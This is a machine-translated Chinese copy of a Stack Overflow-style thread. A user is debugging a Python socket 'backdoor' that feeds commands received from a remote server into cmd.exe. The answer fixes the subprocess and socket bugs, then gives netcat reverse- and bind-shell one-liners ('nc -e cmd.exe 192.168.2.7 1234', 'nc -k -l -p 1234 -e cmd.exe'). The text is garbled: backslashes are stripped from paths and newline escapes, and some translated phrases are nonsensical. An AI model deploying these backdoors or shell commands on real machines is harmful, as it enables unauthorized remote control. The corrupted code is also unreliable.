python子进程stdin.writi一个字符串错误22无效参数



我有两个python文件与socket通信。当我将我获取的数据传递到stdin.write时,我有错误22无效参数。代码

a="C:python27Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder

更新好的,基本上我想在系统上创建一个后门,在网络实验室的本地主机中。这是为了教育目的。我有两台机器。1) 正在运行ubuntu和我在服务器中有以下代码:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.
c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ")  #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection

为客户端提供以下代码:

import socket 
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024) 
a="C:python27Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

while True:
data = s.recv(1024)
if (data == "") or (data=="quit"): 
break
proc.stdin.write('%sn' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket

并且错误在客户端文件中

Traceback(最后一次调用):文件"ex1client2.py",第50行,在proc.sdin.write('%s\n'%data)中ValueError:已关闭文件上的I/O操作

基本上,我想运行从服务器到客户端的串行命令,并将输出返回到服务器。第一个命令被执行,第二个命令我得到这个错误消息。导致我找到这个解决方案的主要问题是使用chanhingdirectory命令。当我擅长cd"路径"时,它不会改变。

您的新代码有一个不同的问题,这就是为什么它会引发类似但不同的错误。让我们看看关键部分:

while True:
data = s.recv(1024)
if (data == "") or (data=="quit"): 
break
proc.stdin.write('%sn' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()

问题是,每次浏览此列表时,都会调用proc.communicate()。正如文件所解释的,这将:

将数据发送到stdin。从stdout和stderr读取数据,直到到达文件末尾。等待进程终止。

因此,在该调用之后,子进程已经退出,并且管道都关闭了。但是下一次通过循环时,无论如何都要尝试写入它的输入管道。由于那个管道已经关闭,你得到了ValueError: I/O operation on closed file,这正是它所说的。

如果要在单独的cmd.exeshell实例中运行每个命令,则必须将proc = subprocess.Popen('cmd.exe', …)位移动到循环中。

另一方面,如果要将命令一个接一个地发送到同一个shell,则不能调用communicate;您必须向stdin写入,从stdoutstderr读取,直到您知道它们已经完成,并在循环中为下一次打开所有内容。

第一个的缺点非常明显:如果在第一个命令中执行cd UsersmeDocuments,然后在第二个命令中进行dir,并且它们在完全不同的shell中运行,那么最终会得到C:python27Tools而不是C:UsersmeDocuments的目录列表。

但第二种方法的缺点也很明显:您需要编写代码,以某种方式知道每个命令何时完成(可能是因为您再次收到提示?),或者可以同时阻止proc.stdoutproc.stderrs。(而且不会意外地使管道死锁。)而且您甚至不能将它们全部放入select中,因为管道不是套接字。因此,唯一真正的选择是为stdoutstderr创建一个读取器线程,或者从PyPI中获取一个异步子进程库,或者使用twisted或另一个有自己异步子进程管道方式的框架。

如果您查看communicate的源代码,您可以看到线程应该如何工作。


同时,附带说明一下,您的代码还有另一个非常严重的问题。您期望每个s.recv(1024)将返回一个命令。TCP套接字不是这样工作的。您将在一个recv中获得前2-1/2个命令,然后在下一个中获得命令的1/4,依此类推

在本地主机上,甚至在家庭局域网上,当你只是四处发送一些小消息时,它99%的时间都能工作,但你仍然必须处理这1%,否则你的代码有时会神秘地中断。在互联网上,甚至在许多真正的局域网上,它只会在10%的时间内工作。

因此,您必须实现某种协议,以某种方式对消息进行定界。

幸运的是,对于简单的情况,Python为您提供了一个非常简单的解决方案:makefile。当命令由换行符分隔,并且您可以同步阻止,直到您得到一个完整的命令时,这是微不足道的。取而代之的是:

while True:
data = s.recv(1024)

…就这么做吧:

f = s.makefile()
while True:
data = f.readline()

您只需要稍后记住closefs(或紧接在makefile之后的s和稍后的f)。更惯用的用法是:

with s.makefile() as f:
s.close()
for data in f:

最后一件事:

好的,基本上我想在系统上创建一个后门,在网络实验室内的本地主机中

"localhost"指的是运行的同一台机器,因此"网络实验室内的localhost"没有意义。我想你在这里只是指"主持人",在这种情况下,整件事都有意义。


如果你不需要使用Python,你可以使用netcat用一个线性函数来完成这一切。有几个不同的版本,语法略有不同。我相信Ubuntu内置了GNU netcat;如果没有,它可能可以与apt-get netcatapt-get nc一起安装。Windows没有任何功能,但你几乎可以获得任何变体的端口。

在谷歌上快速搜索"netcat远程shell",会发现一堆博客文章、论坛消息,甚至是展示如何做到这一点的视频,比如使用netcat生成远程shell,但你最好在谷歌上搜索netcat教程。

更常见的设计是让"后门"机器(你的Windows盒子)在一个端口上监听,而另一台计算机(你的Ubuntu)连接到它,所以这就是大多数博客文章的内容。会给你看的。这个方向的好处是,你的"后院服务器"可以永远监听——你可以连接,做一些事情,退出,稍后再连接,等等,而不必回到Windows框并开始新的连接。

但另一种方法,在Windows盒子上安装后院客户端,也同样简单。在你的Ubuntu盒子上,启动一个服务器,只将终端连接到第一个连接:

nc -l -p 1234

然后在您的Windows盒子上,连接到该服务器,并将其连接到cmd.exe。假设您安装了GNU语法变体:

nc -e cmd.exe 192.168.2.7 1234

就是这样。比用Python写要简单得多。

对于更典型的设计,Windows上的后门服务器运行如下:

nc -k -l -p 1234 -e cmd.exe

然后你从Ubuntu连接到:

nc windows.machine.address 1234

或者,您甚至可以将-t添加到后门服务器,只需连接telnet而不是nc

问题是,实际上根本没有打开子流程,因此管道正在关闭,因此您试图写入不存在的内容。(我很确定POSIX保证你会在这里得到EPIPE,但在Windows上,subprocess一开始就没有使用POSIX管道,所以不能保证你会得到什么。但你肯定会得到一些错误。)

发生这种情况的原因是,您正试图打开一个名为'n'的程序(如换行符,而不是反斜杠和n)。我认为这在Windows上是不合法的。而且,即使是这样,我也非常怀疑您的路径上是否有名为'n.exe'之类的可执行文件。

如果您不使用shell=True,这将更容易看到。在这种情况下,Popen本身会引发一个异常(ENOENT),它会告诉您类似的信息:

OSError: [Errno 2] No such file or directory: '
'

…这会更容易理解。

一般来说,除非您确实需要一些shell功能,否则不应该使用shell=True。而且很少需要shell功能,还需要手动读取和写入管道。

如果不重用data来表示两个完全不同的东西(要运行的程序的名称和要从套接字传递到管道的数据),也就不会那么令人困惑了。

最新更新